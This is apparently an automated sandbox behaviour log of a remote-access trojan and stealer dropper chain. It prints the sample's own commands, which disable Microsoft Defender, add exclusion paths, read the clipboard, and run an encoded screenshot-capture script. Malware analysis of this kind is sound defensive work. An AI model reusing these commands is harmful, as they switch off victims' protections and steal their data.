Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Windows\ShellComponents\tasklist.exe
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Windows\ShellComponents\d62086b577a668

Source: Joe Sandbox View	Dropped File: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
Source: Joe Sandbox View	Dropped File: C:\Program Files\Windows Mail\StartMenuExperienceHost.exe F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
Source: Joe Sandbox View	Dropped File: C:\Recovery\fontdrvhost.exe F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
Source: Joe Sandbox View	Dropped File: C:\Recovery\seCeUYjhGIFplo.exe F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445

Source: fontsessionruntime.exe.11.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: rar.exe.13.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.13.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: zlib1.dll.14.dr

Static PE information: Number of sections : 11 > 10

Source: api-ms-win-crt-math-l1-1-0.dll.14.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.14.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.14.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.14.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.14.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.14.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.14.dr	Static PE information: No import functions for PE file found

Source: QIjBj1l8We.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

Source: libcrypto-3.dll.13.dr	Static PE information: Section: UPX1 ZLIB complexity 0.999059198943662
Source: libssl-3.dll.13.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9916915494109948
Source: python312.dll.13.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9992940650795991
Source: sqlite3.dll.13.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9977444556451613
Source: unicodedata.pyd.13.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9945046482974911

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@173/801@7/5

Source: C:\agentInto\fontsessionruntime.exe

File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe

Source: C:\agentInto\fontsessionruntime.exe

File created: C:\Users\Default\Application Data\Microsoft\Internet Explorer\Quick Launch\tasklist.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8492:120:WilError_03
Source: C:\agentInto\fontsessionruntime.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\cd0864094e44ee75a88071e914a1d2f7650557da
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9032:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Mutant created: \Sessions\1\BaseNamedObjects\a
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8628:120:WilError_03
Source: C:\agentInto\fontsessionruntime.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03

Source: C:\Users\user\Desktop\QIjBj1l8We.exe

File created: C:\Users\user\AppData\Local\Temp\x12.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "

Source: QIjBj1l8We.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\QIjBj1l8We.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QIjBj1l8We.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: QIjBj1l8We.exe	Virustotal: Detection: 86%
Source: QIjBj1l8We.exe	ReversingLabs: Detection: 92%

Source: unknown	Process created: C:\Users\user\Desktop\QIjBj1l8We.exe "C:\Users\user\Desktop\QIjBj1l8We.exe"
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Process created: C:\Users\user\AppData\Local\Temp\x12.exe "C:\Users\user\AppData\Local\Temp\x12.exe"
Source: C:\Users\user\AppData\Local\Temp\x12.exe	Process created: C:\Users\user\AppData\Local\Temp\x11.exe "C:\Users\user\AppData\Local\Temp\x11.exe"
Source: C:\Users\user\AppData\Local\Temp\x11.exe	Process created: C:\Users\user\AppData\Local\Temp\x10.exe "C:\Users\user\AppData\Local\Temp\x10.exe"
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Process created: C:\Users\user\AppData\Local\Temp\x9.exe "C:\Users\user\AppData\Local\Temp\x9.exe"
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Process created: C:\Users\user\AppData\Local\Temp\x8.exe "C:\Users\user\AppData\Local\Temp\x8.exe"
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Process created: C:\Users\user\AppData\Local\Temp\x7.exe "C:\Users\user\AppData\Local\Temp\x7.exe"
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Process created: C:\Users\user\AppData\Local\Temp\x6.exe "C:\Users\user\AppData\Local\Temp\x6.exe"
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Process created: C:\Users\user\AppData\Local\Temp\x5.exe "C:\Users\user\AppData\Local\Temp\x5.exe"
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Process created: C:\Users\user\AppData\Local\Temp\x4.exe "C:\Users\user\AppData\Local\Temp\x4.exe"
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Process created: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe "C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
